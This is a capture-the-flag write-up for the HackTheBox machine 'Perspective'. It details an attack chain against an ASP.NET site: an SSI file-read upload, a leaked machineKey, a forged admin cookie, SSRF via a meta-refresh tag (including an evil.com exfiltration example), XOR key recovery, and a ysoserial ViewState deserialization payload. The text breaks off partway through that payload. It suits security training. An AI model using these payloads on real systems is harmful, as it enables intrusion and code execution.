HTB: Perspective
Perspective is all about exploiting a ASP.NET application in many different ways. I’ll start by uploading a SHTML file that allows me to read the configuration file for the application. With that, I’ll leak one of the keys used by the application, and the fact that there are more protections in place. That key is enough for me to forge a cookie as admin and get access to additional places on the site. There’s a server-side request forgery vulnerability in that part of the site, and I’ll use it to access a crypto service running on localhost. I’ll decrypt another application key, showing both how to do it with math and via a POST request via the SSRF. With that, I can sign a serialized object and get execution. With a shell, I’ll find a staging version of the application with additional logging and some protections that break my previous attack. I’ll use a padding oracle attack to encrypt cookies, and exploit a command injection via the cookie and the password reset process to get a shell as administrator. In Beyond Root, I’ll look at an unintended way to get admin on the website, and get JuicyPotatoNG working, despite most ports being blocked.
Box Info
Name | Perspective Play on HackTheBox |
---|---|
Release Date | 19 Mar 2022 |
Retire Date | 15 Oct 2022 |
OS | Windows |
Base Points | Insane [50] |
Rated Difficulty | |
Radar Graph | |
13:16:51 |
|
15:58:33 |
|
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.151
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-30 20:34 UTC
Nmap scan report for 10.10.11.151
Host is up (0.090s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.151
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-30 20:35 UTC
Nmap scan report for 10.10.11.151
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 d6:7f:3f:d4:22:15:ce:64:f3:c8:00:79:bf:f6:f8:f8 (RSA)
| 256 08:c6:d4:f3:98:84:0f:fd:4b:ed:e3:a6:25:bd:e7:70 (ECDSA)
|_ 256 32:81:6a:8b:4d:f9:61:09:ff:d3:99:6c:e7:3f:a3:ac (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds
Despite the port combination being much more typical of Linux than Windows, this is a Windows host. Based on the IIS version, it’s Windows 10+ / Server 2016+.
Website - TCP 80
Site
Visiting 10.10.11.151 redirects to perspective.htb
. I’ll do a quick fuzz to look for subdomains, but it comes back empty. After adding this to my /etc/hosts
file and reloading, the site is a “New Product Request System” for “NorthernSprocket” company:
The “Log in” link presents a form:
Client-side JavaScript prevents sending SQL injection payloads via the browser, so I’ll send the POST request over to Burp Repeater and try some basic attacks, but nothing works.
The “Register” page take a fair bit of info, including password reset questions. I’ll fill it out and submit:
After registering and then logging in, there is a new line at the top right on the main page, “New Products”:
The “New Products” page is empty, but offers a button to create one:
That button leads to a form:
There is filtering going on if the image file isn’t an JPEG file:
On submitting, a new product is on the page:
The “Support” link just has text:
I’ll make note of the admin username.
Tech Stack
Nothing too exciting in the basic HTTP response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 10 Oct 2022 17:13:58 GMT
Connection: close
Content-Length: 15620
There’s an Asp.NET version, along with the powered by header both suggesting that .aspx
pages may execute. On logging in, a cookie named .ASPXATUH
is set to a large hex value.
Directory Brute Force
I’ll run feroxbuster
against the site. The URLs don’t seem to be using extensions, so I’ll leave that blank for now. I’ll also use a lowercase wordlist, since IIS is case-insensitive:
oxdf@hacky$ feroxbuster -u http://perspective.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://perspective.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.1
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 2l 10w 153c http://perspective.htb/images => http://perspective.htb/images/
301 GET 2l 10w 154c http://perspective.htb/scripts => http://perspective.htb/scripts/
302 GET 3l 8w 150c http://perspective.htb/admin => /Account/Login?ReturnUrl=%2fadmin
301 GET 2l 10w 154c http://perspective.htb/contact => http://perspective.htb/contact/
200 GET 127l 331w 5419c http://perspective.htb/
301 GET 2l 10w 154c http://perspective.htb/content => http://perspective.htb/content/
302 GET 3l 8w 169c http://perspective.htb/about => http://perspective.htb/500.html?aspxerrorpath=/about
301 GET 2l 10w 154c http://perspective.htb/account => http://perspective.htb/account/
301 GET 2l 10w 153c http://perspective.htb/static => http://perspective.htb/static/
302 GET 3l 8w 153c http://perspective.htb/products => /Account/Login?ReturnUrl=%2fproducts
302 GET 3l 8w 162c http://perspective.htb/contact/contact => /Account/Login?ReturnUrl=%2fcontact%2fcontact
301 GET 2l 10w 152c http://perspective.htb/fonts => http://perspective.htb/fonts/
200 GET 230l 594w 11075c http://perspective.htb/account/register
200 GET 158l 380w 7377c http://perspective.htb/account/login
200 GET 11672l 28307w 416780c http://perspective.htb/content/css
200 GET 127l 331w 5426c http://perspective.htb/default
301 GET 2l 10w 155c http://perspective.htb/handlers => http://perspective.htb/handlers/
200 GET 168l 376w 6629c http://perspective.htb/account/forgot
301 GET 2l 10w 163c http://perspective.htb/scripts/webforms => http://perspective.htb/scripts/webforms/
[####################] - 9m 292424/292424 0s found:19 errors:0
[####################] - 9m 26584/26584 46/s http://perspective.htb
[####################] - 3m 26584/26584 132/s http://perspective.htb/images
[####################] - 9m 26584/26584 46/s http://perspective.htb/scripts
[####################] - 9m 26584/26584 46/s http://perspective.htb/contact
[####################] - 9m 26584/26584 46/s http://perspective.htb/
[####################] - 9m 26584/26584 46/s http://perspective.htb/content
[####################] - 9m 26584/26584 46/s http://perspective.htb/account
[####################] - 9m 26584/26584 46/s http://perspective.htb/static
[####################] - 9m 26584/26584 46/s http://perspective.htb/fonts
[####################] - 9m 26584/26584 46/s http://perspective.htb/handlers
[####################] - 8m 26584/26584 49/s http://perspective.htb/scripts/webforms
Most of these are either paths that I’ve visited while enumerating the site, or return 403. But /account/forgot
is interesting (there is a link to this from the login page that I just missed originally).
Reset Password
Visiting /account/forgot
shows a form asking for an account name:
Entering the account I created and clicking “Initiate Reset” loads the next page:
Entering the correct answers (I used “0xdf” as the answer to all of these) provides a form to reset the password:
This is an insecure process, as knowing the answers to three questions about the user allows me to reset their password.
Shell as webuser
Read web.config File
Enumerate Filter
Typically websites have three ways to filter file uploads:
- The content-type header in the form
- The file extension in the form data filename
- The file signature or magic bytes of the file itself
I’ll start with a successful upload of a JPEG file, and start messing with it to help identify what is being filtered. The part of the form data that has the image looks like this:
If I change the Content-Type
field on line 33 to what seems like anything else, it fails. Luckily for me, there’s no reason to change this part. I’ll leave it as image/jpeg
.
I’ll remove the raw bytes of the file and add some text. I’ll also need to change the name field or it will complain that the name already exists:
It uploads just fine. The product is on the page with a broken image:
The path to the image is http://perspective.htb/Images/0xdf_58145152090.jpg
, and it has the data I uploaded:
oxdf@hacky$ curl http://perspective.htb/Images/0xdf_58145152090.jpg
0xdf was here
So the site isn’t filtering on magic bytes. To check if it’s filtering on file extension, I’ll change the file name to 0xdf.png
:
It’s a bit weird to have a mismatch between image/jpg
and .png
, but it uploads just fine.
However, when I change it to .aspx
, it returns an error:
This response suggests that there is an extension block list on the server, rather than an allow list (since it says only JPEG, but .png
got through). To test this theory, I’ll change the filename to 0xdf.abcd
. It uploads fine.
Brute Force Extensions
To figure out which extensions might work, I’ll use Burp Intruder. Typically I’d switch over to something like wfuzz
for this, as I don’t have a paid Burp license, and Intruder is very slow in the free version. That said, I’m just going to test 30 requests, and getting all the form fields into wfuzz
correctly would probably take longer than just using Intruder.
I’ll send the POST request to Intruder, and click the button to clear all the §
. Then I’ll find the part of the form that has the file and highlight the extension, and click “Add §”:
In the “Payloads” tab, I’ll click “Load …” and pass it Fuzzing/extensions-most-common.fuzz.txt
from SecLists.
I’ll click “Start Attack”, and a new window pops up, and in about a minute, it’s tried all 30 extensions. I’ll sort the result by Length:
The ones of length 8949 are complaining that the name of the product is duplicate. The ones that are 8956 are blocked because of their extension.
I can rule out a lot of these as interesting right away. Any of the document formats or archive formats won’t help me. Even the scripting languages like .py
and .rb
aren’t going to be run by IIS.
I’m most interested in the PHP-related ones and .shtml
. .jhtml
seems potentially interesting as a Java within HTML file, but I’ve never heard of it, and I couldn’t find any quick ways to test for it. It seems unlikely that this server has all the Java stuff configured for that to work.
Upload PHP [Fails]
Looking at the list of unblocked files, php3
, php4
, and phtm
all jump out as PHP files that might potentially get execution. I’ll try uploading each of these.
I’m able to upload new products using these extensions, and they show up in the page:
However, when I try to open the image, the page returns 404:
This same behavior happens with all three of these extensions. Something must be blocking PHP files (it isn’t important, but I never did figure out what).
Null Byte [Fails]
Another thing to try is to see if I can write control the full file name. Right now, I’ll notice that _[random numbers]
gets inserted between the file name and the extension. I’ll try submitting with a null byte to see if I can get it to write just what I want:
It uploads, and the URL to the image is http://perspective.htb/Images/test.aspx%00_46344036843.jpg
, which returns an HTTP 400 Bad Request.
Back in Repeater, I’ll highlight that %00
and push Ctrl-Shift-U to un-URL-encode that text. It disappears, but the null is still there. On submitting, it fails:
shtml File Read
.shtml
and .shtm
files are related to a scripting language called Server Side Includes. They are meant to allow for pages to include other pages using some HTML-like syntax:
<!--#include virtual="../quote.txt" -->
To see if I have any of the same issues as above, I’ll start simple:
On loading the image, it works:
I’ll update the file to include other files I might want to read. I wasn’t able to get many things to work, but eventually I’ll try the web.config
file, and it does work. This is a file that defines how the IIS application works, similar to how a .htaccess
file works with Apache.
I’ll upload the file with a .shtml
extension and the syntax to read the web.config
file:
The resulting XML doesn’t show on the page, but in View-Source it does:
There’s not much useful in that, but this is in the Images
directory. I’ll try up one more directory, and it gets the web.config
for the application:
web.config Analysis
The web.config
file gives the machineKey
, which is used for encryption/decryption of elements like the viewStates
and cookies in the application:
<authentication mode="Forms">
<forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
</authentication>
<machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />
View State is a method typically used in ASP.NET applications to pass state information back and forth to the client. It is a serialized .NET object, and it is typically encrypted to prevent tampering and thus deserialization attacks.
A very common attack against ASP.NET applications like this with a leaked machineKey
is to generate a malicious .NET serialized object (with something like ysoserial.net) and encrypt it with the machineKey
. When the decryption succeeds, the malicious object is loaded and code execution is achieved.
The ViewStateUserKey
property is a protection against this kind of attack. This post does a nice job of breaking down this attack and how ViewStateUserKey
helps prevent attacks.
The appSettings
section of the web.config
file shows the ViewStateUserKey
:
<appSettings>
<add key="environment" value="Production" />
<add key="Domain" value="perspective.htb" />
<add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
<add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
</appSettings>
ENC1
at the start is an indication that this value is encrypted. I’m not able to decrypt it or to get deserialization attacks to work.
The other thing to note from the appSettings
section is the SecurePasswordServiceUrl
. Based on the lack of results when Googling, this is not a default MS field. Still, it’s a reference to another webserver running on localhost port 8000, which I’ll note for later.
The web.config
also shows the .NET version:
<compilation debug="true" targetFramework="4.6.1" />
<httpRuntime targetFramework="4.6.1" />
Admin Access to Site
Note: There’s an unintended way to access the site as admin using the password reset functionality. I’ll show this in Beyond Root. This section shows how to forge an admin cookie.
Decrypt Cookie
This repo has tools for decrypting and encrypting cookies for ASP.NET applications. I’ll need to work from a Windows system with Visual Studio installed (I’m using version 2022). I’ll open Visual Studio and select “Create a new project”. On the next screen, I’ll select “Console App (.NET framework) C#” and click “Next”:
In the “Configure your new project” window, I’ll give it a name and save directory, as well as set the .NET version. .NET versions can be finicky, and since I know from the web.config
that the target runs on .NET 4.6.1, I’ll match that as closely as I can. That version wasn’t installed on my computer, but I can download the developer pack for it here. After restarting Visual Studio, it’s an option:
Following the instructions from the Git repo, I’ll replace the template program.cs
with FormsDecrypt.cs
. For me, it complains about System.Web.Security
, FormsAuthenticationTicket
, and FormsAuthentication
:
I’ll fix this by going to “Project” > “Add Reference …”, and then scrolling down to check the box next to System.Web
:
I’ll grab the app.config
from the repo and update it with the information from the web.config
:
<?xml version="1.0"?>
<configuration>
<system.web>
<compilation debug="false" targetFramework="4.0" />
<machineKey validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" validation="SHA1" decryption="AES" />
</system.web>
</configuration>
Now I’ll replace the template app.config
with this. “Build” > “Build Solution” works, and an executable is generated:
This generates not only PerspectiveCookie.exe
, but also PerspectiveCookie.exe.config
:
PS > ls
Directory: Z:\hackthebox\perspective-10.10.11.151\repos\PerspectiveCookie\bin\Release
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 10/11/2022 4:43 AM 408 PerspectiveCookie.exe.config
------ 10/11/2022 4:43 AM 5120 PerspectiveCookie.exe
------ 10/11/2022 4:43 AM 22016 PerspectiveCookie.pdb
Both file must be in the same directory for the binary to run.
Running it with the cookie decrypts it:
PS > .\PerspectiveCookie.exe DBAE702BA41B8733FF5DCC214F02EA37546D1DFABD0CF6C76A1B2CAA7FE1ED741278569D1384BDC4FB2A09B9AADC0A4118AFA0BB0DDA701789643A16B1AFB045DC93CC2508C025A8A1A0FDD8D6D585D216404EC71A681750D3E5BBC9ECD49E7CB17E4D0B3269B6F45E6124EC0C2F136EC7697DA766A024570D94E6F13CD60641A9968B647AC6E9E5BFB4274B5F09BC97462E7D4F
1
0xdf@perspective.htb
10/10/2022 1:45:47 PM
10/10/2022 2:15:47 PM
True
test
/
This page shows the various parameters of a FormatAuthenticationTicket
, which what is held in the cookie:
version
- 1name
- 0xdf@perspective.htbissueDate
- 10/10/2022 1:45:47 PMexpiration
- 10/10/2022 2:15:47isPersistent
- True (means that the cookie will persist through browser sessions)userData
- test
Forge admin Cookie
I’ll create another project just like the one above (this one called PerspectiveCookieForge
), though it would be just fine to replace the Program.cs
in the existing. I’ll copy the same app.config
file as above, and copy FormEncrypt.cs
into Program.cs
. In there, I’ll add the encryptedTicket
, and set the replacedUsername
to “admin”. I also tweaked the expiration time to be really long so I don’t have to worry about making new tickets, and made a few small cosmetic changes.
I’ll build this:
And running it produces a new cookie:
PS > .\PerspectiveCookieForge.exe
CA3DA36302E95A76A4101ADCE27B04EEFE8521B97B773B3FA78F395D0A3E62E36FEDFFA717DD5F407BCEA231483353D2FE5877C260A792E0E1C79A48956713920B5A0C6771B54F8BD533807204993620D56EBE97F6FF178937326B2F6AC385C32F37A243C53346DE3FC5B3C943DD3E1F70BB75B0312A09CAFD3ED9DF268067E772CD316AC6C501786178C5833C1F5ECD4FE95EAC
When I replace my cookie with this one and refresh, the page shows I’m logged in as admin@perspective.htb:
Server Side Request Forgery
Admin Panel Enumeration
The new “Admin” button at the top leads to /Admin/Adminhome
:
There’s a link to the “New product admin panel” at /Admin/AdminProducts
:
I’ll enter “0xdf@perspective.htb” and it shows the products I’ve uploaded, along with a button to “Generate PDF”:
Trying with my products that are full of broken image links fails. Trying with admin’s list (empty) generates an PDF:
I’ll delete my old products and create a new one:
This exports just fine:
Bypass Filter
I’ll notice that my description “It’s a product” has the '
escaped as %27
on the webpage, but shows up normal in the PDF. It might be worth playing with seeing what gets rendered via the PDF generation.
I’ll try to submit a new product with some img
tags that reference my host, but they are rejected:
Some playing around in Repeater indicates that <
is on the block list for the product name.
In the description field, neither <
nor <im
trigger the block, but <img
does.
<script
, <iframe
also seems to be blocked.
Server Side Request Forgery POC
HackTricks has a page on HTML Scriptless Injection, and one of the examples is:
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
It seems the <meta>
tag is not on the block list:
It shows up in the list now, escaped:
When the I generate the PDF, there’s a connection at my webserver:
oxdf@hacky$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.151 - - [11/Oct/2022 16:31:53] code 404, message File not found
10.10.11.151 - - [11/Oct/2022 16:31:53] "GET /test1.html HTTP/1.1" 404 -
And the PDF shows that response instead of the normal table:
Get Decrypted ViewStateUserKey
Enumerate API
I’m curious to see what’s happening on the service referenced in the web.config
file. I’ll delete the previous “meta” object and upload a new one with the url of http://127.0.0.1:8000/
. The PDF shows it’s the “AdminAPI”:
The link just under the title shows a swagger.json
file, which should show the inputs and outputs for each endpoint. I’ll fetch that:
{
"openapi": "3.0.1",
"info": {
"title": "AdminAPI",
"version": "v1"
},
...[snip]...
There are two paths
. /encrypt
, with the tag
“SeucrePasswordService”, takes a GET request with a string in the query named “plaintext”:
...[snip]...
"paths": {
"/encrypt": {
"get": {
"tags": [
"SecurePasswordService"
],
"parameters": [
{
"name": "plaintext",
"in": "query",
"schema": {
"type": "string",
"nullable": true
}
}
],
"responses": {
"200": {
"description": "Success",
"content": {
"text/plain": {
"schema": {
"type": "string"
}
},
"application/json": {
"schema": {
"type": "string"
}
},
"text/json": {
"schema": {
"type": "string"
...[snip]...
The /decrypt
path is very similar, but a POST request that takes a string as a GET parameter named “cipherTextRaw”:
...[snip]...
"/decrypt": {
"post": {
"tags": [
"SecurePasswordService"
],
"parameters": [
{
"name": "cipherTextRaw",
"in": "query",
"schema": {
"type": "string",
"nullable": true
}
}
]
...[snip]...
Encrypt POC
I’ll try the /encrypt
endpoint with a <meta>
tag that visits http://127.0.0.1:8000/encrypt?plaintext=0xdf
. The returned PDF contains only the string enc1:vnx5pQ==
. That format looks very similar to what I saw in the web.config
file.
There’s clearly base64-encoded data after enc1:
. That decode to four bytes:
oxdf@hacky$ echo "vnx5pQ==" | base64 -d | xxd
00000000: be7c 79a5
That suggests that this is using a stream cipher, rather than a block cipher, where I would expect it to be 8 or 16 bytes.
Decrypt via Math
As the API isn’t asking for a key, it must be using the same key every time. A typical stream cipher will use the key to generate a stream of random bytes, and then XOR the plaintext with the bytes to make ciphertext. Only someone who can generate the same random bytes (so ideally who has the same key) can decrypt the data.
For this to be safe, the same key cannot be reused, or it’s vulnerable to a known plaintext attack.
I’ll encrypt a string that’s at least as long as the text I want to decrypt:
<meta http-equiv="refresh" content="0;http://127.0.0.1:8000/encrypt?plaintext=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
The result is the encrypted string:
Now, XORing that byte-by-byte with “A” will return the byte stream used to encrypt, and then XORing that with some other cipher text will return the decrypted text. This Python script will do that:
#!/usr/bin/env python3
import base64
import sys
known_pt_ct_b64 = "z0VcggdRwN9jXu+ts2XNvFZG8CTFWmiTM6qgDes="
known_pt_ct = base64.b64decode(known_pt_ct_b64)
decrypt_ct = base64.b64decode(sys.argv[1])
pt = ''.join([chr(x^y^ord("A")) for x,y in zip(known_pt_ct, decrypt_ct)])
print(pt)
It decrypts the 0xdf-string:
oxdf@hacky$ python decrypt.py vnx5pQ==
0xdf
It works with the one from the web.config
as well:
oxdf@hacky$ python decrypt.py 3UVxtz9jwPJWRvjdl1PfqXZTgg==
SAltysAltYV1ewSTaT3
Decrypt via JavaScript iFrame HTML Form
I’ll present this section in a video, as well as summarize below:
I wasn’t able to get <script>
tags into the page via upload. But what about using the <meta>
tag to redirect to a page I host? I’ll update the product to load from my host:
In redirect.html
, I’ll add a simple <script>
tag that writes some stuff:
<script>
document.write("0xdf was here!");
</script>
On generating a new PDF, there’s a hit at the webserver, and then the text in the page:
I can now run arbitrary JavaScript. I spent a while trying to get JavaScript to make HTTP requests for me, but I believe that is blocked by cross-origin resource sharing (CORS).
In thinking about other ways to display the data back, I considered displaying the data in an iframe. This StackOverflow post shows how I can do that with three things:
- an HTML form with a target of the iframe
- an iframe
- JavaScript to submit the form
So by updating my HTML file to this:
<form id="0xdfhacks" target="frame" method="post" action="http://127.0.0.1:8000/decrypt?cipherTextRaw=enc1:vnx5pQ%3d%3d">
</form>
<iframe name="frame"></iframe>
<script>
var form = document.getElementById("0xdfhacks");
form.submit();
</script>
The resulting PDF looks like:
But really, why do I need the iframe? Why can’t I just let the form post and have the resulting page show up as the response? No reason, it works! I’ll set my local HTML to:
<form id="0xdfhacks" method="post" action="http://127.0.0.1:8000/decrypt?cipherTextRaw=enc1:vnx5pQ%3d%3d">
</form>
<script>
var form = document.getElementById("0xdfhacks");
form.submit();
</script>
I’ve removed the iframe
as well as the target
parameter on the form
. The result is the decrypted text:
I’ll update the script to do the encrypted string from the web.config
instead, and it works:
RCE Via Deserialization
Understand Needed Data
This blog post does a really nice job of showing how to exploit .NET ViewState deserialization. ysoserial.net is a tool I’ve shown before for generating .NET serialized attack payloads. In this case, I’ll need to use the specific plugin for ViewState:
I’ll run it with --help
to get a list of the parameters:
PS > .\ysoserial.exe -p ViewState --help
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Plugin:
ViewState (Generates a ViewState using known MachineKey parameters)
Options:
--examples to show a few examples. Other parameters will be
ignored
-g, --gadget=VALUE a gadget chain that supports LosFormatter.
Default: ActivitySurrogateSelector
-c, --command=VALUE the command suitable for the used gadget (will
be ignored for ActivitySurrogateSelector)
--upayload=VALUE the unsigned LosFormatter payload in (base64
encoded). The gadget and command parameters will
be ignored
--generator=VALUE the __VIEWSTATEGENERATOR value which is in HEX,
useful for .NET <= 4.0. When not empty, 'legacy'
will be used and 'path' and 'apppath' will be
ignored.
--path=VALUE the target web page. example: /app/folder1/pag-
e.aspx
--apppath=VALUE the application path. this is needed in order to
simulate TemplateSourceDirectory
--islegacy when provided, it uses the legacy algorithm
suitable for .NET 4.0 and below
--isencrypted this will be used when the legacy algorithm is
used to bypass WAFs
--viewstateuserkey=VALUE
this to set the ViewStateUserKey parameter that
sometimes used as the anti-CSRF token
--decryptionalg=VALUE the encryption algorithm can be set to DES,
3DES, AES. Default: AES
--decryptionkey=VALUE this is the decryptionKey attribute from
machineKey in the web.config file
--validationalg=VALUE the validation algorithm can be set to SHA1,
HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
AES. Default: HMACSHA256
--validationkey=VALUE this is the validationKey attribute from
machineKey in the web.config file
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
--isdebug to show useful debugging messages!
Using this and the post linked above, I’ll need:
- A request the submits a
ViewState
object; - The generator associated with that path, or the app path and path variables;
- The decryption algorithm and key (from
web.config
); - The validation algorithm and key (from
web.config
); - The ViewStateUserKey (decrypted in the previous step).
Find Request and Generator
Looking through the Burp history, there are a few options. I’ll go with the POST that’s generated when a user deletes a product:
It has a __VIEWSTATE
as well as a __VIEWSTATEGENERATOR
. The generator is always the same on this path.
Create POC Payload
I’ll plug all that into ysoserial.exe
in my Windows VM, and run it:
PS > .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping 10.10.14.6" --generator=90AA2C29 --decryptionalg=AES --decryptionkey=B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9 --validationalg=SHA1 --validationkey=99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF --viewstateuserkey=SAltysAltYV1ewSTaT3
/wEyyxEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAEi9jIHBpbmcgMTAuMTAuMTQuNgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdH